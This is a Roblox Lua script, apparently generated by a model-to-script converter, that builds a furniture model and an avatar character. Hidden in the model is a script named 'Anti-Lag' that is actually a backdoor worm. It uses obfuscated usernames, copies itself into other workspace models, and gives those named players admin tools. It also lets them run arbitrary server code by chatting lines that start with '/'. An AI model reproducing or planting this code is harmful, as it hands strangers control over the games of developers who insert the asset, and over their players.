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- -- Thanks for using Mod2S by NopeUsername
- local functions = {}
- function sandbox(script, func)
- local oldEnv = getfenv(func)
- local newEnv = setmetatable({}, {
- __index = function(self,k)
- if k == "script" then
- return script
- else
- return oldEnv[k]
- end
- end,
- })
- return setfenv(func, newEnv)
- end
- local mas = Instance.new("Model", game:GetService("Lighting"))
- -- DECLARING VARIABLES
- local Model = Instance.new("Model")
- local Part = Instance.new("Part")
- local Part_1 = Instance.new("Part")
- local Part_2 = Instance.new("Part")
- local Part_3 = Instance.new("Part")
- local Part_4 = Instance.new("Part")
- local Part_5 = Instance.new("Part")
- local Part_6 = Instance.new("Part")
- local SmoothBlockModel = Instance.new("Part")
- local Mesh = Instance.new("SpecialMesh")
- local AntiLag = Instance.new("Script")
- local Part_7 = Instance.new("Part")
- local DrakerMaker = Instance.new("Model")
- local Head = Instance.new("Part")
- local Mesh_1 = Instance.new("SpecialMesh")
- local HatAttachment = Instance.new("Attachment")
- local HairAttachment = Instance.new("Attachment")
- local FaceFrontAttachment = Instance.new("Attachment")
- local FaceCenterAttachment = Instance.new("Attachment")
- local face = Instance.new("Decal")
- local HumanoidRootPart = Instance.new("Part")
- local RootJoint = Instance.new("Motor6D")
- local LeftArm = Instance.new("Part")
- local LeftShoulderAttachment = Instance.new("Attachment")
- local LeftLeg = Instance.new("Part")
- local RightArm = Instance.new("Part")
- local RightShoulderAttachment = Instance.new("Attachment")
- local RightLeg = Instance.new("Part")
- local Torso = Instance.new("Part")
- local roblox = Instance.new("Decal")
- local RightShoulder = Instance.new("Motor6D")
- local RightHip = Instance.new("Motor6D")
- local Neck = Instance.new("Motor6D")
- local LeftShoulder = Instance.new("Motor6D")
- local LeftHip = Instance.new("Motor6D")
- local WaistFrontAttachment = Instance.new("Attachment")
- local WaistCenterAttachment = Instance.new("Attachment")
- local WaistBackAttachment = Instance.new("Attachment")
- local RightCollarAttachment = Instance.new("Attachment")
- local NeckAttachment = Instance.new("Attachment")
- local LeftCollarAttachment = Instance.new("Attachment")
- local BodyFrontAttachment = Instance.new("Attachment")
- local BodyBackAttachment = Instance.new("Attachment")
- local Humanoid = Instance.new("Humanoid")
- local MeshPartAccessory = Instance.new("Accessory")
- local Handle = Instance.new("Part")
- local SpecialMesh = Instance.new("SpecialMesh")
- local AvatarPartScaleType = Instance.new("StringValue")
- local FaceFrontAttachment_1 = Instance.new("Attachment")
- local AccessoryWeld = Instance.new("Weld")
- local BodyColors = Instance.new("BodyColors")
- local Shirt = Instance.new("Shirt")
- local ShirtGraphic = Instance.new("ShirtGraphic")
- local Pants = Instance.new("Pants")
- -- SETTING PROPERTIES
- Model.Parent = mas
- Part.Anchored = true
- Part.CFrame = CFrame.new(-0.906,2.3,-65.963,1,0,0,0,0,1,0,-1,0)
- Part.Color = Color3.new(0.106,0.165,0.208)
- Part.Size = Vector3.new(9,0.4,1)
- Part.TopSurface = Enum.SurfaceType.Smooth
- Part.Parent = Model
- Part_1.Anchored = true
- Part_1.CFrame = CFrame.new(-5.606,2.3,-63.263,0,-1,0,0,0,1,-1,0,0)
- Part_1.Color = Color3.new(0.106,0.165,0.208)
- Part_1.Size = Vector3.new(5,0.4,1)
- Part_1.TopSurface = Enum.SurfaceType.Smooth
- Part_1.Parent = Model
- Part_2.Anchored = true
- Part_2.CFrame = CFrame.new(-0.906,3.795,-63.263,-1,0,0,0,1,0,0,0,-1)
- Part_2.Color = Color3.new(0.106,0.165,0.208)
- Part_2.Size = Vector3.new(9,2.79,5)
- Part_2.TopSurface = Enum.SurfaceType.Smooth
- Part_2.Parent = Model
- Part_3.Anchored = true
- Part_3.CFrame = CFrame.new(0.594,2,-63.263,1,0,0,0,1,0,0,0,1)
- Part_3.Color = Color3.new(0.973,0.973,0.973)
- Part_3.Size = Vector3.new(12,0.8,5)
- Part_3.Parent = Model
- Part_4.Anchored = true
- Part_4.CFrame = CFrame.new(7.093,2.4,-63.263,0,0,-1,0,1,0,1,0,0)
- Part_4.Color = Color3.new(0.384,0.278,0.196)
- Part_4.Material = Enum.Material.Wood
- Part_4.Size = Vector3.new(5,4.8,1)
- Part_4.TopSurface = Enum.SurfaceType.Smooth
- Part_4.Parent = Model
- Part_5.Anchored = true
- Part_5.CFrame = CFrame.new(0.594,0.4,-63.263,0,0,-1,0,1,0,1,0,0)
- Part_5.Color = Color3.new(0.384,0.278,0.196)
- Part_5.Material = Enum.Material.Wood
- Part_5.Size = Vector3.new(5,0.8,12)
- Part_5.Parent = Model
- Part_6.Anchored = true
- Part_6.CFrame = CFrame.new(0.594,1.2,-63.263,1,0,0,0,1,0,0,0,1)
- Part_6.Color = Color3.new(0.973,0.973,0.973)
- Part_6.Size = Vector3.new(12,0.8,5)
- Part_6.Parent = Model
- SmoothBlockModel.Anchored = true
- SmoothBlockModel.BottomSurface = Enum.SurfaceType.Smooth
- SmoothBlockModel.CFrame = CFrame.new(5.094,2.9,-63.363,0,0,-1,-1,0,0,0,1,0)
- SmoothBlockModel.Color = Color3.new(0.949,0.953,0.953)
- SmoothBlockModel.Size = Vector3.new(1,4.8,1)
- SmoothBlockModel.TopSurface = Enum.SurfaceType.Smooth
- SmoothBlockModel.Name = "Smooth Block Model"
- SmoothBlockModel.Parent = Model
- Mesh.Scale = Vector3.new(3,1,3)
- Mesh.Parent = SmoothBlockModel
- table.insert(functions,sandbox(AntiLag,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- AntiLag.Name = "Anti-Lag"
- AntiLag.Parent = SmoothBlockModel
- Part_7.Anchored = true
- Part_7.CFrame = CFrame.new(-0.906,2.1,-60.563,-1,0,0,0,0,1,0,1,0)
- Part_7.Color = Color3.new(0.106,0.165,0.208)
- Part_7.Size = Vector3.new(9,0.4,1)
- Part_7.TopSurface = Enum.SurfaceType.Smooth
- Part_7.Parent = Model
- DrakerMaker.PrimaryPart = HumanoidRootPart
- DrakerMaker.Name = "DrakerMaker"
- DrakerMaker.Parent = Model
- Head.Anchored = true
- Head.CFrame = CFrame.new(4.19,4.497,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- Head.Color = Color3.new(0.973,0.973,0.973)
- Head.Size = Vector3.new(2,1,1)
- Head.TopSurface = Enum.SurfaceType.Smooth
- Head.Name = "Head"
- Head.Parent = DrakerMaker
- Mesh_1.Scale = Vector3.new(1.25,1.25,1.25)
- Mesh_1.Parent = Head
- HatAttachment.CFrame = CFrame.new(0,0.6,0,1,0,0,0,1,0,0,0,1)
- HatAttachment.Position = Vector3.new(0,0.6,0)
- HatAttachment.WorldAxis = Vector3.new(0,0,-1)
- HatAttachment.WorldCFrame = CFrame.new(4.757,4.693,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- HatAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- HatAttachment.WorldPosition = Vector3.new(4.757,4.693,-63.447)
- HatAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- HatAttachment.Name = "HatAttachment"
- HatAttachment.Parent = Head
- HairAttachment.CFrame = CFrame.new(0,0.6,0,1,0,0,0,1,0,0,0,1)
- HairAttachment.Position = Vector3.new(0,0.6,0)
- HairAttachment.WorldAxis = Vector3.new(0,0,-1)
- HairAttachment.WorldCFrame = CFrame.new(4.757,4.693,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- HairAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- HairAttachment.WorldPosition = Vector3.new(4.757,4.693,-63.447)
- HairAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- HairAttachment.Name = "HairAttachment"
- HairAttachment.Parent = Head
- FaceFrontAttachment.CFrame = CFrame.new(0,0,-0.6,1,0,0,0,1,0,0,0,1)
- FaceFrontAttachment.Position = Vector3.new(0,0,-0.6)
- FaceFrontAttachment.WorldAxis = Vector3.new(0,0,-1)
- FaceFrontAttachment.WorldCFrame = CFrame.new(3.994,5.064,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- FaceFrontAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- FaceFrontAttachment.WorldPosition = Vector3.new(3.994,5.064,-63.447)
- FaceFrontAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- FaceFrontAttachment.Name = "FaceFrontAttachment"
- FaceFrontAttachment.Parent = Head
- FaceCenterAttachment.WorldAxis = Vector3.new(0,0,-1)
- FaceCenterAttachment.WorldCFrame = CFrame.new(4.19,4.497,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- FaceCenterAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- FaceCenterAttachment.WorldPosition = Vector3.new(4.19,4.497,-63.447)
- FaceCenterAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- FaceCenterAttachment.Name = "FaceCenterAttachment"
- FaceCenterAttachment.Parent = Head
- face.Texture = "rbxasset://textures/face.png"
- face.Name = "face"
- face.Parent = Head
- HumanoidRootPart.Anchored = true
- HumanoidRootPart.BottomSurface = Enum.SurfaceType.Smooth
- HumanoidRootPart.CFrame = CFrame.new(2.773,4.006,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- HumanoidRootPart.CanCollide = false
- HumanoidRootPart.LeftParamA = 0
- HumanoidRootPart.LeftParamB = 0
- HumanoidRootPart.RightParamA = 0
- HumanoidRootPart.RightParamB = 0
- HumanoidRootPart.Size = Vector3.new(2,2,1)
- HumanoidRootPart.TopSurface = Enum.SurfaceType.Smooth
- HumanoidRootPart.Transparency = 1
- HumanoidRootPart.Name = "HumanoidRootPart"
- HumanoidRootPart.Parent = DrakerMaker
- RootJoint.MaxVelocity = 0.1
- RootJoint.C0 = CFrame.new(0,0,0,-1,0,0,0,0,1,0,1,0)
- RootJoint.C1 = CFrame.new(0,0,0,-1,0,0,0,0,1,0,1,0)
- RootJoint.Part0 = HumanoidRootPart
- RootJoint.Part1 = Torso
- RootJoint.Name = "RootJoint"
- RootJoint.Parent = HumanoidRootPart
- LeftArm.Anchored = true
- LeftArm.CFrame = CFrame.new(2.773,4.006,-61.947,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- LeftArm.CanCollide = false
- LeftArm.Color = Color3.new(0.973,0.973,0.973)
- LeftArm.Size = Vector3.new(1,2,1)
- LeftArm.Name = "Left Arm"
- LeftArm.Parent = DrakerMaker
- LeftShoulderAttachment.CFrame = CFrame.new(0,1,0,1,0,0,0,1,0,0,0,1)
- LeftShoulderAttachment.Position = Vector3.new(0,1,0)
- LeftShoulderAttachment.WorldAxis = Vector3.new(0,0,-1)
- LeftShoulderAttachment.WorldCFrame = CFrame.new(3.718,4.333,-61.947,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- LeftShoulderAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- LeftShoulderAttachment.WorldPosition = Vector3.new(3.718,4.333,-61.947)
- LeftShoulderAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- LeftShoulderAttachment.Name = "LeftShoulderAttachment"
- LeftShoulderAttachment.Parent = LeftArm
- LeftLeg.Anchored = true
- LeftLeg.BottomSurface = Enum.SurfaceType.Smooth
- LeftLeg.CFrame = CFrame.new(0.883,3.351,-62.947,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- LeftLeg.CanCollide = false
- LeftLeg.Color = Color3.new(0.549,0.357,0.624)
- LeftLeg.Size = Vector3.new(1,2,1)
- LeftLeg.Name = "Left Leg"
- LeftLeg.Parent = DrakerMaker
- RightArm.Anchored = true
- RightArm.CFrame = CFrame.new(2.773,4.006,-64.947,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- RightArm.CanCollide = false
- RightArm.Color = Color3.new(0.973,0.973,0.973)
- RightArm.Size = Vector3.new(1,2,1)
- RightArm.Name = "Right Arm"
- RightArm.Parent = DrakerMaker
- RightShoulderAttachment.CFrame = CFrame.new(0,1,0,1,0,0,0,1,0,0,0,1)
- RightShoulderAttachment.Position = Vector3.new(0,1,0)
- RightShoulderAttachment.WorldAxis = Vector3.new(0,0,-1)
- RightShoulderAttachment.WorldCFrame = CFrame.new(3.718,4.333,-64.947,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- RightShoulderAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- RightShoulderAttachment.WorldPosition = Vector3.new(3.718,4.333,-64.947)
- RightShoulderAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- RightShoulderAttachment.Name = "RightShoulderAttachment"
- RightShoulderAttachment.Parent = RightArm
- RightLeg.Anchored = true
- RightLeg.BottomSurface = Enum.SurfaceType.Smooth
- RightLeg.CFrame = CFrame.new(0.883,3.351,-63.947,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- RightLeg.CanCollide = false
- RightLeg.Color = Color3.new(0.549,0.357,0.624)
- RightLeg.Size = Vector3.new(1,2,1)
- RightLeg.Name = "Right Leg"
- RightLeg.Parent = DrakerMaker
- Torso.Anchored = true
- Torso.CFrame = CFrame.new(2.773,4.006,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- Torso.Color = Color3.new(0.549,0.357,0.624)
- Torso.LeftParamA = 0
- Torso.LeftParamB = 0
- Torso.LeftSurface = Enum.SurfaceType.Weld
- Torso.RightParamA = 0
- Torso.RightParamB = 0
- Torso.RightSurface = Enum.SurfaceType.Weld
- Torso.Size = Vector3.new(2,2,1)
- Torso.Name = "Torso"
- Torso.Parent = DrakerMaker
- roblox.Texture = "http://www.roblox.com/asset/?id=2923844283"
- roblox.Name = "roblox"
- roblox.Parent = Torso
- RightShoulder.MaxVelocity = 0.1
- RightShoulder.C0 = CFrame.new(1,0.5,0,0,0,1,0,1,0,-1,0,0)
- RightShoulder.C1 = CFrame.new(-0.5,0.5,0,0,0,1,0,1,0,-1,0,0)
- RightShoulder.Part0 = Torso
- RightShoulder.Part1 = RightArm
- RightShoulder.Name = "Right Shoulder"
- RightShoulder.Parent = Torso
- RightHip.MaxVelocity = 0.1
- RightHip.C0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0)
- RightHip.C1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0)
- RightHip.Part0 = Torso
- RightHip.Part1 = RightLeg
- RightHip.Name = "Right Hip"
- RightHip.Parent = Torso
- Neck.MaxVelocity = 0.1
- Neck.C0 = CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,0)
- Neck.C1 = CFrame.new(0,-0.5,0,-1,0,0,0,0,1,0,1,0)
- Neck.Part0 = Torso
- Neck.Part1 = Head
- Neck.Name = "Neck"
- Neck.Parent = Torso
- LeftShoulder.MaxVelocity = 0.1
- LeftShoulder.C0 = CFrame.new(-1,0.5,0,0,0,-1,0,1,0,1,0,0)
- LeftShoulder.C1 = CFrame.new(0.5,0.5,0,0,0,-1,0,1,0,1,0,0)
- LeftShoulder.Part0 = Torso
- LeftShoulder.Part1 = LeftArm
- LeftShoulder.Name = "Left Shoulder"
- LeftShoulder.Parent = Torso
- LeftHip.MaxVelocity = 0.1
- LeftHip.C0 = CFrame.new(-1,-1,0,0,0,-1,0,1,0,1,0,0)
- LeftHip.C1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1,0,0)
- LeftHip.Part0 = Torso
- LeftHip.Part1 = LeftLeg
- LeftHip.Name = "Left Hip"
- LeftHip.Parent = Torso
- WaistFrontAttachment.CFrame = CFrame.new(0,-1,-0.5,1,0,0,0,1,0,0,0,1)
- WaistFrontAttachment.Position = Vector3.new(0,-1,-0.5)
- WaistFrontAttachment.WorldAxis = Vector3.new(0,0,-1)
- WaistFrontAttachment.WorldCFrame = CFrame.new(1.665,4.151,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- WaistFrontAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- WaistFrontAttachment.WorldPosition = Vector3.new(1.665,4.151,-63.447)
- WaistFrontAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- WaistFrontAttachment.Name = "WaistFrontAttachment"
- WaistFrontAttachment.Parent = Torso
- WaistCenterAttachment.CFrame = CFrame.new(0,-1,0,1,0,0,0,1,0,0,0,1)
- WaistCenterAttachment.Position = Vector3.new(0,-1,0)
- WaistCenterAttachment.WorldAxis = Vector3.new(0,0,-1)
- WaistCenterAttachment.WorldCFrame = CFrame.new(1.828,3.678,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- WaistCenterAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- WaistCenterAttachment.WorldPosition = Vector3.new(1.828,3.678,-63.447)
- WaistCenterAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- WaistCenterAttachment.Name = "WaistCenterAttachment"
- WaistCenterAttachment.Parent = Torso
- WaistBackAttachment.CFrame = CFrame.new(0,-1,0.5,1,0,0,0,1,0,0,0,1)
- WaistBackAttachment.Position = Vector3.new(0,-1,0.5)
- WaistBackAttachment.WorldAxis = Vector3.new(0,0,-1)
- WaistBackAttachment.WorldCFrame = CFrame.new(1.992,3.206,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- WaistBackAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- WaistBackAttachment.WorldPosition = Vector3.new(1.992,3.206,-63.447)
- WaistBackAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- WaistBackAttachment.Name = "WaistBackAttachment"
- WaistBackAttachment.Parent = Torso
- RightCollarAttachment.CFrame = CFrame.new(1,1,0,1,0,0,0,1,0,0,0,1)
- RightCollarAttachment.Position = Vector3.new(1,1,0)
- RightCollarAttachment.WorldAxis = Vector3.new(0,0,-1)
- RightCollarAttachment.WorldCFrame = CFrame.new(3.718,4.333,-64.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- RightCollarAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- RightCollarAttachment.WorldPosition = Vector3.new(3.718,4.333,-64.447)
- RightCollarAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- RightCollarAttachment.Name = "RightCollarAttachment"
- RightCollarAttachment.Parent = Torso
- NeckAttachment.CFrame = CFrame.new(0,1,0,1,0,0,0,1,0,0,0,1)
- NeckAttachment.Position = Vector3.new(0,1,0)
- NeckAttachment.WorldAxis = Vector3.new(0,0,-1)
- NeckAttachment.WorldCFrame = CFrame.new(3.718,4.333,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- NeckAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- NeckAttachment.WorldPosition = Vector3.new(3.718,4.333,-63.447)
- NeckAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- NeckAttachment.Name = "NeckAttachment"
- NeckAttachment.Parent = Torso
- LeftCollarAttachment.CFrame = CFrame.new(-1,1,0,1,0,0,0,1,0,0,0,1)
- LeftCollarAttachment.Position = Vector3.new(-1,1,0)
- LeftCollarAttachment.WorldAxis = Vector3.new(0,0,-1)
- LeftCollarAttachment.WorldCFrame = CFrame.new(3.718,4.333,-62.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- LeftCollarAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- LeftCollarAttachment.WorldPosition = Vector3.new(3.718,4.333,-62.447)
- LeftCollarAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- LeftCollarAttachment.Name = "LeftCollarAttachment"
- LeftCollarAttachment.Parent = Torso
- BodyFrontAttachment.CFrame = CFrame.new(0,0,-0.5,1,0,0,0,1,0,0,0,1)
- BodyFrontAttachment.Position = Vector3.new(0,0,-0.5)
- BodyFrontAttachment.WorldAxis = Vector3.new(0,0,-1)
- BodyFrontAttachment.WorldCFrame = CFrame.new(2.609,4.478,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- BodyFrontAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- BodyFrontAttachment.WorldPosition = Vector3.new(2.609,4.478,-63.447)
- BodyFrontAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- BodyFrontAttachment.Name = "BodyFrontAttachment"
- BodyFrontAttachment.Parent = Torso
- BodyBackAttachment.CFrame = CFrame.new(0,0,0.5,1,0,0,0,1,0,0,0,1)
- BodyBackAttachment.Position = Vector3.new(0,0,0.5)
- BodyBackAttachment.WorldAxis = Vector3.new(0,0,-1)
- BodyBackAttachment.WorldCFrame = CFrame.new(2.937,3.533,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- BodyBackAttachment.WorldOrientation = Vector3.new(70.895,90,0)
- BodyBackAttachment.WorldPosition = Vector3.new(2.937,3.533,-63.447)
- BodyBackAttachment.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- BodyBackAttachment.Name = "BodyBackAttachment"
- BodyBackAttachment.Parent = Torso
- Humanoid.Parent = DrakerMaker
- MeshPartAccessory.AttachmentForward = Vector3.new(0,0,-1)
- MeshPartAccessory.AttachmentPoint = CFrame.new(0.003,-0.228,-0.085,1,0,0,0,1,0,0,0,1)
- MeshPartAccessory.AttachmentPos = Vector3.new(0.003,-0.228,-0.085)
- MeshPartAccessory.AttachmentRight = Vector3.new(1,0,0)
- MeshPartAccessory.AttachmentUp = Vector3.new(0,1,0)
- MeshPartAccessory.Name = "MeshPartAccessory"
- MeshPartAccessory.Parent = DrakerMaker
- Handle.Anchored = true
- Handle.BottomSurface = Enum.SurfaceType.Smooth
- Handle.CFrame = CFrame.new(4.238,5.058,-63.444,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- Handle.CanCollide = false
- Handle.Locked = true
- Handle.Size = Vector3.new(1,1,1)
- Handle.TopSurface = Enum.SurfaceType.Smooth
- Handle.Name = "Handle"
- Handle.Parent = MeshPartAccessory
- SpecialMesh.MeshType = Enum.MeshType.FileMesh
- SpecialMesh.MeshId = "rbxassetid://4196105376"
- SpecialMesh.TextureId = "http://www.roblox.com/asset/?id=4101337753"
- SpecialMesh.Name = "SpecialMesh"
- SpecialMesh.Parent = Handle
- AvatarPartScaleType.Value = "Classic"
- AvatarPartScaleType.Name = "AvatarPartScaleType"
- AvatarPartScaleType.Parent = Handle
- FaceFrontAttachment_1.Axis = Vector3.new(1,0,0)
- FaceFrontAttachment_1.CFrame = CFrame.new(0.003,-0.228,-0.085,1,0,0,0,1,0,0,0,1)
- FaceFrontAttachment_1.Orientation = Vector3.new(0,0,0)
- FaceFrontAttachment_1.Position = Vector3.new(0.003,-0.228,-0.085)
- FaceFrontAttachment_1.SecondaryAxis = Vector3.new(0,1,0)
- FaceFrontAttachment_1.WorldAxis = Vector3.new(0,0,-1)
- FaceFrontAttachment_1.WorldCFrame = CFrame.new(3.994,5.064,-63.447,0,0.945,0.327,0,0.327,-0.945,-1,0,0)
- FaceFrontAttachment_1.WorldOrientation = Vector3.new(70.895,90,0)
- FaceFrontAttachment_1.WorldPosition = Vector3.new(3.994,5.064,-63.447)
- FaceFrontAttachment_1.WorldSecondaryAxis = Vector3.new(0.945,0.327,0)
- FaceFrontAttachment_1.Name = "FaceFrontAttachment"
- FaceFrontAttachment_1.Parent = Handle
- AccessoryWeld.C0 = CFrame.new(0.003,-0.228,-0.085,1,0,0,0,1,0,0,0,1)
- AccessoryWeld.C1 = CFrame.new(0,0,-0.6,1,0,0,0,1,0,0,0,1)
- AccessoryWeld.Part0 = Handle
- AccessoryWeld.Part1 = Head
- AccessoryWeld.Name = "AccessoryWeld"
- AccessoryWeld.Parent = Handle
- BodyColors.HeadColor = BrickColor.new("Institutional white")
- BodyColors.HeadColor3 = Color3.new(0.973,0.973,0.973)
- BodyColors.LeftArmColor = BrickColor.new("Institutional white")
- BodyColors.LeftArmColor3 = Color3.new(0.973,0.973,0.973)
- BodyColors.LeftLegColor = BrickColor.new("Lavender")
- BodyColors.LeftLegColor3 = Color3.new(0.549,0.357,0.624)
- BodyColors.RightArmColor = BrickColor.new("Institutional white")
- BodyColors.RightArmColor3 = Color3.new(0.973,0.973,0.973)
- BodyColors.RightLegColor = BrickColor.new("Lavender")
- BodyColors.RightLegColor3 = Color3.new(0.549,0.357,0.624)
- BodyColors.TorsoColor = BrickColor.new("Lavender")
- BodyColors.TorsoColor3 = Color3.new(0.549,0.357,0.624)
- BodyColors.Parent = DrakerMaker
- Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=767214544"
- Shirt.Name = "Shirt"
- Shirt.Parent = DrakerMaker
- ShirtGraphic.Graphic = "http://www.roblox.com/asset/?id=2923844283"
- ShirtGraphic.Parent = DrakerMaker
- Pants.PantsTemplate = "http://www.roblox.com/asset/?id=1014001419"
- Pants.Name = "Pants"
- Pants.Parent = DrakerMaker
- for i,v in ipairs(functions) do
- spawn(function()
- pcall(v)
- end)
- end
- for i,v in ipairs(mas:GetChildren()) do
- v.Parent = workspace
- end
- mas:Destroy()
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